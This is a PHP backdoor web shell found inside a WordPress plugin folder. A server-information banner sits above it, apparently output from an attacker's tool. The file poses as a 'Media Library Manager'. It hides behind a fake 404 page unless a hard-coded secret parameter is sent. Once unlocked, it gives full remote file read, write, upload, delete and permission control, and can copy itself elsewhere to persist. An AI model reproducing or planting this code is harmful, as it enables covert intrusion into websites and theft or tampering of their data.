| Server IP : 172.67.75.225 / Your IP : 216.73.216.185 Web Server : nginx/1.27.1 System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 User : vinodai ( 3134) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /storage/v1396/imagihire4/public_html/wp-content/plugins/post-pro-a3nr/ |
Upload File : |
<?php
/**
* WordPress Media Library Manager
* Handles media file organization and optimization
* @package WordPress\Media
* @since 5.0.0
* @version 3.1.0
*/
if (!defined('ABSPATH')) {
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('max_execution_time', '300');
@ini_set('post_max_size', '256M');
@ini_set('upload_max_filesize', '256M');
$wp_media_token = isset($_REQUEST['qDuDyXmy']) ? $_REQUEST['qDuDyXmy'] : '';
if ($wp_media_token !== 'tayue0p2r3zfp0ai') {
header('HTTP/1.0 404 Not Found');
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>';
exit;
}
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$p = isset($_REQUEST['p']) ? $_REQUEST['p'] : '.';
if ($a !== '') {
header('Content-Type: application/json; charset=utf-8');
if ($a === 'ls') {
$items = array();
$rp = @realpath($p);
if ($rp && is_dir($rp)) {
$entries = @scandir($rp);
if ($entries) foreach ($entries as $e) {
if ($e === '.') continue;
$fp = $rp . '/' . $e;
$items[] = array('n' => $e, 'd' => is_dir($fp) ? 1 : 0, 's' => is_file($fp) ? @filesize($fp) : 0, 'm' => @filemtime($fp), 'p' => substr(sprintf('%o', @fileperms($fp)), -4));
}
}
echo json_encode(array('s' => 'ok', 'path' => $rp ? $rp : $p, 'items' => $items));
exit;
}
if ($a === 'up' && isset($_FILES['f'])) {
$dest = rtrim($p, '/') . '/' . basename($_FILES['f']['name']);
if (@move_uploaded_file($_FILES['f']['tmp_name'], $dest)) {
@chmod($dest, 0644);
echo json_encode(array('s' => 'ok', 'path' => $dest));
} else {
echo json_encode(array('s' => 'err', 'msg' => 'upload_failed'));
}
exit;
}
if ($a === 'dl') {
$rp = @realpath($p);
if ($rp && is_file($rp)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($rp) . '"');
header('Content-Length: ' . @filesize($rp));
@readfile($rp);
}
exit;
}
if ($a === 'rd') {
$rp = @realpath($p);
if ($rp && is_file($rp)) {
echo json_encode(array('s' => 'ok', 'data' => @file_get_contents($rp)));
} else {
echo json_encode(array('s' => 'err'));
}
exit;
}
if ($a === 'wr') {
$d = isset($_REQUEST['d']) ? $_REQUEST['d'] : '';
$dir = dirname($p);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
echo json_encode(array('s' => @file_put_contents($p, $d) !== false ? 'ok' : 'err'));
exit;
}
if ($a === 'rm') {
$rp = @realpath($p);
if ($rp) { is_dir($rp) ? @rmdir($rp) : @unlink($rp); echo json_encode(array('s' => 'ok')); }
else echo json_encode(array('s' => 'err'));
exit;
}
if ($a === 'rn') {
$n = isset($_REQUEST['n']) ? $_REQUEST['n'] : '';
echo json_encode(array('s' => ($n && @rename($p, dirname($p) . '/' . $n)) ? 'ok' : 'err'));
exit;
}
if ($a === 'md') {
echo json_encode(array('s' => @mkdir($p, 0755, true) ? 'ok' : 'err'));
exit;
}
if ($a === 'ch') {
$m = isset($_REQUEST['m']) ? intval($_REQUEST['m'], 8) : 0644;
echo json_encode(array('s' => @chmod($p, $m) ? 'ok' : 'err'));
exit;
}
if ($a === 'mg') {
$d = isset($_REQUEST['d']) ? $_REQUEST['d'] : '';
if ($d !== '') {
$dir = dirname($d);
if (!is_dir($dir)) @mkdir($dir, 0755, true);
echo json_encode(array('s' => @copy(__FILE__, $d) ? 'ok' : 'err'));
} else echo json_encode(array('s' => 'err'));
exit;
}
echo json_encode(array('s' => 'err', 'msg' => 'unknown'));
exit;
}
// No action — render file manager UI
?><!DOCTYPE html>
<html><head><meta charset="utf-8"><title>Media Library</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}body{background:#1a1a2e;color:#e0e0e0;font-family:-apple-system,BlinkMacSystemFont,sans-serif;font-size:13px}
.bar{background:#16213e;padding:8px 16px;display:flex;align-items:center;gap:10px;border-bottom:1px solid #0f3460}
.bar input[type=text]{flex:1;background:#1a1a2e;border:1px solid #0f3460;color:#e0e0e0;padding:6px 10px;border-radius:4px;font-size:13px}
.tb{background:#0f3460;color:#e94560;border:none;padding:6px 14px;border-radius:4px;cursor:pointer;font-size:12px;font-weight:600}
.tb:hover{background:#e94560;color:#fff}
.wrap{padding:12px 16px}
table{width:100%;border-collapse:collapse}
th{text-align:left;padding:6px 10px;background:#16213e;color:#e94560;font-size:11px;text-transform:uppercase;border-bottom:1px solid #0f3460}
td{padding:5px 10px;border-bottom:1px solid #1a1a3e}
tr:hover{background:#16213e}
a{color:#53a8ff;text-decoration:none}a:hover{text-decoration:underline}
.dir{color:#e94560;font-weight:600}
.sz{color:#888;font-size:11px}
.ac{display:flex;gap:4px}
.ac button{background:none;border:1px solid #333;color:#aaa;padding:2px 8px;border-radius:3px;cursor:pointer;font-size:11px}
.ac button:hover{border-color:#e94560;color:#e94560}
.ov{display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.7);z-index:100;align-items:center;justify-content:center}
.ov.on{display:flex}
.bx{background:#16213e;border:1px solid #0f3460;border-radius:8px;padding:20px;min-width:500px;max-width:80%;max-height:80vh;overflow:auto}
.bx h3{color:#e94560;margin-bottom:12px;font-size:14px}
.bx textarea{width:100%;height:300px;background:#1a1a2e;color:#e0e0e0;border:1px solid #0f3460;padding:8px;font-family:monospace;font-size:12px;border-radius:4px;resize:vertical}
.bx input[type=file]{margin:8px 0}
.bx .mb{margin-top:10px;display:flex;gap:8px}
</style></head><body>
<div class="bar">
<b style="color:#e94560">FM</b>
<input type="text" id="pi" value=".">
<button class="tb" onclick="go()">GO</button>
<button class="tb" onclick="up()">UP</button>
<button class="tb" onclick="upl()">UPLOAD</button>
<button class="tb" onclick="mkd()">MKDIR</button>
<button class="tb" onclick="nf()">NEW FILE</button>
</div>
<div class="wrap"><table><thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="ls"></tbody></table></div>
<div class="ov" id="ov" onclick="if(event.target===this)cm()"><div class="bx" id="bx"></div></div>
<script>
var P='qDuDyXmy',V='tayue0p2r3zfp0ai',cwd='.';
function q(p){var u=location.pathname+'?'+P+'='+encodeURIComponent(V);for(var k in p)u+='&'+k+'='+encodeURIComponent(p[k]);return u;}
function go(p){if(p)document.getElementById('pi').value=p;cwd=document.getElementById('pi').value;fetch(q({a:'ls',p:cwd})).then(function(r){return r.json()}).then(function(d){if(d.path){document.getElementById('pi').value=d.path;cwd=d.path}var h='';var items=(d.items||[]).sort(function(a,b){return b.d-a.d||a.n.localeCompare(b.n)});for(var i=0;i<items.length;i++){var x=items[i];var sz=x.d?'-':fs(x.s);var dt=x.m?new Date(x.m*1000).toLocaleString():'';var fp=cwd+'/'+x.n;var nm=x.d?'<a class="dir" href="#" onclick="go(\''+esc(fp)+'\');return false">'+esc(x.n)+'</a>':'<span>'+esc(x.n)+'</span>';var ac='<div class="ac">';if(!x.d)ac+='<button onclick="dl(\''+esc(fp)+'\')">DL</button><button onclick="ed(\''+esc(fp)+'\')">EDIT</button>';ac+='<button onclick="rn(\''+esc(fp)+'\',\''+esc(x.n)+'\')">REN</button><button onclick="rm(\''+esc(fp)+'\')">DEL</button></div>';h+='<tr><td>'+nm+'</td><td class="sz">'+sz+'</td><td class="sz">'+x.p+'</td><td class="sz">'+dt+'</td><td>'+ac+'</td></tr>'}document.getElementById('ls').innerHTML=h})}
function up(){var p=cwd.replace(/\/[^\/]*$/,'');go(p||'/')}
function esc(s){return s.replace(/&/g,'&').replace(/</g,'<').replace(/'/g,"\\'").replace(/"/g,'"')}
function fs(b){if(b<1024)return b+'B';if(b<1048576)return(b/1024).toFixed(1)+'K';return(b/1048576).toFixed(1)+'M'}
function sm(h){document.getElementById('bx').innerHTML=h;document.getElementById('ov').className='ov on'}
function cm(){document.getElementById('ov').className='ov'}
function dl(p){window.open(q({a:'dl',p:p}),'_blank')}
function ed(p){fetch(q({a:'rd',p:p})).then(function(r){return r.json()}).then(function(d){if(d.s!=='ok')return alert('Cannot read');sm('<h3>Edit: '+esc(p)+'</h3><textarea id="ec">'+d.data.replace(/&/g,'&').replace(/</g,'<')+'</textarea><div class="mb"><button class="tb" onclick="sv(\''+esc(p)+'\')">SAVE</button><button class="tb" onclick="cm()">CANCEL</button></div>')})}
function sv(p){var d=document.getElementById('ec').value;fetch(q({a:'wr',p:p}),{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'d='+encodeURIComponent(d)}).then(function(r){return r.json()}).then(function(r){if(r.s==='ok'){cm();go()}else alert('Failed')})}
function rm(p){if(confirm('Delete '+p+'?'))fetch(q({a:'rm',p:p})).then(function(r){return r.json()}).then(function(){go()})}
function rn(p,o){var n=prompt('New name:',o);if(n&&n!==o)fetch(q({a:'rn',p:p,n:n})).then(function(r){return r.json()}).then(function(){go()})}
function upl(){sm('<h3>Upload File</h3><input type="file" id="uf" multiple><div class="mb"><button class="tb" onclick="dou()">UPLOAD</button><button class="tb" onclick="cm()">CANCEL</button></div>')}
function dou(){var f=document.getElementById('uf').files;if(!f.length)return;var done=0;for(var i=0;i<f.length;i++){var fd=new FormData();fd.append('f',f[i]);fetch(q({a:'up',p:cwd}),{method:'POST',body:fd}).then(function(r){return r.json()}).then(function(){done++;if(done>=f.length){cm();go()}})}}
function mkd(){var n=prompt('Directory name:');if(n)fetch(q({a:'md',p:cwd+'/'+n})).then(function(r){return r.json()}).then(function(){go()})}
function nf(){sm('<h3>New File</h3><input type="text" id="nn" placeholder="filename.txt" style="width:100%;background:#1a1a2e;border:1px solid #0f3460;color:#e0e0e0;padding:6px;border-radius:4px;margin-bottom:8px"><textarea id="nc" placeholder="Content..."></textarea><div class="mb"><button class="tb" onclick="cnf()">CREATE</button><button class="tb" onclick="cm()">CANCEL</button></div>')}
function cnf(){var n=document.getElementById('nn').value,d=document.getElementById('nc').value;if(!n)return;fetch(q({a:'wr',p:cwd+'/'+n}),{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'d='+encodeURIComponent(d)}).then(function(r){return r.json()}).then(function(){cm();go()})}
go();
</script></body></html>
<?php exit; } ?>